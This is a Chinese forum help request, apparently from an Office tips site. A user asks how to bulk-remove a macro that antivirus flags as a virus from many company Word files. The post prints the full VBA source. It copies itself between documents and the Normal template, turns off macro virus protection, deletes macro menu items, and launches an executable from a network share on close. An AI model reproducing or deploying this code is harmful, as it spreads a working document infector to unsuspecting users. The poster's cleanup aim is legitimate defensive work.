|
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件 ★ 免费下载 ★ ★ 使用帮助★
近期可能是公司电脑从集团OA里面下载的word文件,全部显示此代码,而且影响到了公司之间文件的传输和正常使用,word代码我一点也不懂!使用360杀毒的时候显示此段代码为宏病毒,附此段代码:
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
CommandBars("Macro").Controls(4).Delete
CommandBars("Macro").Controls(3).Delete
CommandBars("Macro").Controls(2).Delete
CommandBars("Macro").Controls(1).Delete
CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
If x3 = True Then
x2 = NormalTemplate.Saved
x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
x6.codemodule.AddFromString x11
If x2 = True Then NormalTemplate.Save
End If
If x4 = True Or ActiveDocument.Saved = False Then
x1 = ActiveDocument.Saved
x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
x5.codemodule.AddFromString x11
If x1 = True Then ActiveDocument.Save
End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If
End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If
End Sub
我也不清楚这段代码有什么用,现在公司与我熟的不熟的,认识的不认识的,都让我去帮他们手动删除这段代码,哎,发愁啊,文件太多,我也删不过来啊
那么问题来了,我想请问各位大神,有没有一种方法,比如制作个小程序什么的,可以运行这个小程序,删除电脑里面所有有这段代码的word文件里面的代码(千万别删除word文件,只要删除里面的这段代码就行),或者其他的方法也行,只要删除这段代码就行
小弟先谢过,附图:
|
-
显示为病毒
-
代码窗口
|